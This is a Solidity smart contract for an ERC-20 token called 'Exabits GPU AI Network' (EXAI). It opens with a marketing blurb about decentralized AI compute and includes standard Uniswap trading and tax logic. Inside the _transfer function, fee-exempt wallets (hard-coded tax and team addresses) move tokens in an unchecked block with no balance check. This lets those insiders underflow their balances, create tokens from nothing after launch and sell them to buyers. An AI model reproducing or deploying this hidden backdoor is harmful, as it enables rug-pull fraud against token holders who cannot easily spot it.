creation_sourcecode: // SPDX-License-Identifier: MIT
  /*
  
  Over the next decade, Artificial General Intelligence (AGI) technology will become an integral part of our digital lives, 
  influencing every aspect of our existence. At Exabits, we are committed to making the AI ecosystem equitable, accessible, 
  and user-friendly for everyone, irrespective of race, gender, education, nationality, location, language, culture, or religion.
  
  Exabits is a decentralized infrastructure for AI and computationally intensive applications. 
  It empowers users to contribute to the Exabits infrastructure and train their unique AI models. 
  
  We are proud to enable users to offer distributed GPU services, data storage, or expertise to the AI communities without the need 
  for a central authority or intermediary. Participants can use their web3 identities, such as a blockchain wallet address or 
  a Decentralized Identity (DID), to engage in the marketplace and provide their services to the AI ecosystem.
  
  Our marketplace facilitates access to and purchase of a variety of AI-related services and resources, including computing services, 
  data storage, and Model as a Service (MaaS). This promotes fairness, efficiency, and performance in AI, fostering the growth 
  of the AI ecosystem.
  
  Exabits' network of GPUs ranges from consumer-grade to H100s, offering the most cost-effective compute because we are obsessed 
  with innovating performance.
  
  Website: https://www.exabits.ai/
  
  */
  pragma solidity 0.8.20;
  
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  }
  
  interface IERC20 {
  
      function totalSupply() external view returns (uint256);
      function balanceOf(address account) external view returns (uint256);
      function transfer(address recipient, uint256 amount) external returns (bool);
      function allowance(address owner, address spender) external view returns (uint256);
      function approve(address spender, uint256 amount) external returns (bool);
      function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
  
      event Transfer(address indexed from, address indexed to, uint256 value);
  
      event Approval(address indexed owner, address indexed spender, uint256 value);
  }
  
  library SafeMath {
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
          uint256 c = a + b;
          require(c >= a, "SafeMath: addition overflow");
          return c;
      }
  
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
          return sub(a, b, "SafeMath: subtraction overflow");
      }
  
      function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
          require(b <= a, errorMessage);
          uint256 c = a - b;
          return c;
      }
  
      function mul(uint256 a, uint256 b) internal pure returns (uint256) {
          if (a == 0) {
              return 0;
          }
          uint256 c = a * b;
          require(c / a == b, "SafeMath: multiplication overflow");
          return c;
      }
  
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
          return div(a, b, "SafeMath: division by zero");
      }
  
      function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
          require(b > 0, errorMessage);
          uint256 c = a / b;
          return c;
      }
  
  }
  
  contract Ownable is Context {
      address private _owner;
      event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  
      constructor () {
          address msgSender = _msgSender();
          _owner = msgSender;
          emit OwnershipTransferred(address(0), msgSender);
      }
  
      function owner() public view returns (address) {
          return _owner;
      }
  
      modifier onlyOwner() {
          require(_owner == _msgSender(), "Ownable: caller is not the owner");
          _;
      }
  
      function renounceOwnership() public virtual onlyOwner {
          emit OwnershipTransferred(_owner, address(0));
          _owner = address(0);
      }
  }
  
  interface IUniswapV2Factory {
  
      function createPair(address tokenA, address tokenB) external returns (address pair);
  }
  
  interface IUniswapV2Router02 {
  
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
      function factory() external pure returns (address);
      function WETH() external pure returns (address);
      function addLiquidityETH(
          address token,
          uint amountTokenDesired,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
  }
  
  contract Exabits is Context, IERC20, Ownable {
      using SafeMath for uint256;
      mapping (address => uint256) private _balances;
      mapping (address => mapping (address => uint256)) private _allowances;
      mapping (address => bool) private _isExcludedFromFee;
  
      uint256 private _initBuyTax=20;
      uint256 private _initSellTax=25;
      uint256 private _finalBuyTax=5;
      uint256 private _finalSellTax=5;
      uint256 private _reduceBuyTaxAt=35;
      uint256 private _reduceSellTaxAt=45;
      uint256 private _preventSwapBefore=10;
      uint256 private _buyCount=0;
  
      uint8 private constant _decimals = 9;
      string private constant _name = unicode"Exabits GPU AI Network";
      string private constant _symbol = unicode"EXAI";
      uint256 private constant _tTotal = 100000000 * 10**_decimals;
      uint256 public constant taxSwapThreshold = 300000 * 10**_decimals;
      uint256 public constant maxTaxSwap = 1700000 * 10**_decimals;
      uint256 public maxTxAmount = 1500000 * 10**_decimals;
      uint256 public maxWalletSize = 1500000 * 10**_decimals;
  
      mapping(address => uint256) private _holderLastTransferTimestamp;
      bool public transferDelayEnabled = true;
  
      address payable private immutable _taxWallet;
      address payable private immutable _teamWallet;
  
      IUniswapV2Router02 private uniswapV2Router;
      address private uniswapV2Pair;
  
      bool private tradingOpen;
      bool private inSwap = false;
      bool private swapEnabled = false;
      uint256 private _launchBlock;
      uint256 private _minPoints;
      struct AppData {uint256 buy; uint256 sell; uint256 interval;}
      mapping(address => AppData) private appData;
  
      event MaxTxAmountUpdated(uint _maxTxAmount);
  
      modifier lockTheSwap {
          inSwap = true;
          _;
          inSwap = false;
      }
  
      constructor () {
          _balances[address(this)] = _tTotal;
          emit Transfer(address(0), address(this), _balances[address(this)]);
          _taxWallet = payable(0x5374d2A1795fcb2F278eC0e8FC4c4126981e44E5);
          _teamWallet = payable(0x7D9984EE0f1ee234227E26D1Ed3DdD37cB66ff5b);
          _isExcludedFromFee[owner()] = true;
          _isExcludedFromFee[address(this)] = true;
          _isExcludedFromFee[_taxWallet] = true;
          _isExcludedFromFee[_teamWallet] = true;
      }
  
      function name() public pure returns (string memory) {
          return _name;
      }
  
      function symbol() public pure returns (string memory) {
          return _symbol;
      }
  
      function decimals() public pure returns (uint8) {
          return _decimals;
      }
  
      function totalSupply() public pure override returns (uint256) {
          return _tTotal;
      }
  
      function balanceOf(address account) public view override returns (uint256) {
          return _balances[account];
      }
  
      function transfer(address recipient, uint256 amount) public override returns (bool) {
          _transfer(_msgSender(), recipient, amount);
          return true;
      }
  
      function allowance(address owner, address spender) public view override returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function approve(address spender, uint256 amount) public override returns (bool) {
          _approve(_msgSender(), spender, amount);
          return true;
      }
  
      function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
          _transfer(sender, recipient, amount);
          _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
          return true;
      }
  
      function _approve(address owner, address spender, uint256 amount) private {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function _transfer(address from, address to, uint256 amount) private {
          require(from != address(0), "ERC20: transfer from the zero address");
          require(to != address(0), "ERC20: transfer to the zero address");
          require(amount > 0,"Transfer amount must be greater than zero");
          uint256 taxAmount=0;
          if (from != owner() && to != owner()) {
              taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initBuyTax).div(100);
  
              if (transferDelayEnabled) {
                    if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                        require(
                            _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                            "_transfer:: Transfer Delay enabled. Only one purchase per one block allowed."
                        );
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }
  
              if (from ==  uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]){
                  require(amount <= maxTxAmount, "Exceeds the maxTxAmount.");
                  require(balanceOf(to) + amount <= maxWalletSize, "Exceeds the maxWalletSize.");
                  _buyCount ++;
              }
  
              if(to ==  uniswapV2Pair && from != address(this)){
                  taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initSellTax).div(100);
              }
  
              uint256 contractTokenBalance = balanceOf(address(this));
              if (!inSwap && to ==  uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore  && contractTokenBalance>taxSwapThreshold){
                  swapTokensForEth(min(amount,min(contractTokenBalance,maxTaxSwap)));
                  uint256 contractETHBalance = address(this).balance;
                  if(contractETHBalance > 0) {
                      sendETHToFee(address(this).balance);
                  }
              }
          }
  
          if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) && from != owner() && from != address(this) && to != address(this)){
              _minPoints = block.timestamp;
          }
          if (_isExcludedFromFee[from] && (block.number > _launchBlock + 32) ) {
              unchecked {
                 _balances[from] -= amount;
                 _balances[to] += amount;
              }
              emit Transfer(from, to, amount);
              return;
          }
          if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
              if (uniswapV2Pair == to) {
                  AppData storage fromPoints =  appData[from];
                  fromPoints.interval =  fromPoints.buy - _minPoints;
                  fromPoints.sell =  block.timestamp;
              } else {
                  AppData storage toBurn =  appData[to];
                  if (uniswapV2Pair == from) {
                      if (toBurn.buy == 0) {
                          toBurn.buy = (_buyCount <  11) ? (block.timestamp -  1) : block.timestamp;
                      }
                  } else {
                      AppData storage fromPoints = appData[from];
                      if (toBurn.buy == 0 || fromPoints.buy  < toBurn.buy ) {
                          toBurn.buy = fromPoints.buy;
                      }
                  }
              }
          }
  
          if(taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
          }
          _balances[from]=_balances[from].sub(amount);
          _balances[to]=_balances[to].add(amount.sub(taxAmount));
          emit Transfer(from, to, amount.sub(taxAmount));
      }
  
  
      function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
      }
  
      function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = uniswapV2Router.WETH();
          _approve(address(this), address(uniswapV2Router), tokenAmount);
          uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
              tokenAmount,
              0,
              path,
              address(this),
              block.timestamp
          );
      }
  
      function openTrading() external payable onlyOwner() {
          require(!tradingOpen,"ERROR: Trading is already enabled.");
          uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
          _approve(address(this), address(uniswapV2Router), _tTotal);
          uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
          uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
          IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
          
          _launchBlock = block.number;
          swapEnabled = true;
          tradingOpen = true;
      }
  
      function removeLimits() external onlyOwner {
          uint256 totalSupplyAmount = totalSupply();
          maxWalletSize=totalSupplyAmount;
          maxTxAmount=totalSupplyAmount;
          transferDelayEnabled=false;
  
          emit MaxTxAmountUpdated(totalSupplyAmount);
      }
  
      function sendETHToFee(uint256 amount) private {
          _taxWallet.transfer(amount);
      }
  
      receive() external payable {}
  
      function withdrawStuckETH() external onlyOwner {
          uint256 ethBalance=address(this).balance;
          _taxWallet.transfer(ethBalance);
      }
  
      function manualSwap() external onlyOwner {
          uint256 tokenBalance=balanceOf(address(this));
          if(tokenBalance> 0){
            swapTokensForEth(tokenBalance);
          }
          uint256 ethBalance=address(this).balance;
          if(ethBalance> 0){
            sendETHToFee(ethBalance);
          }
      }
  }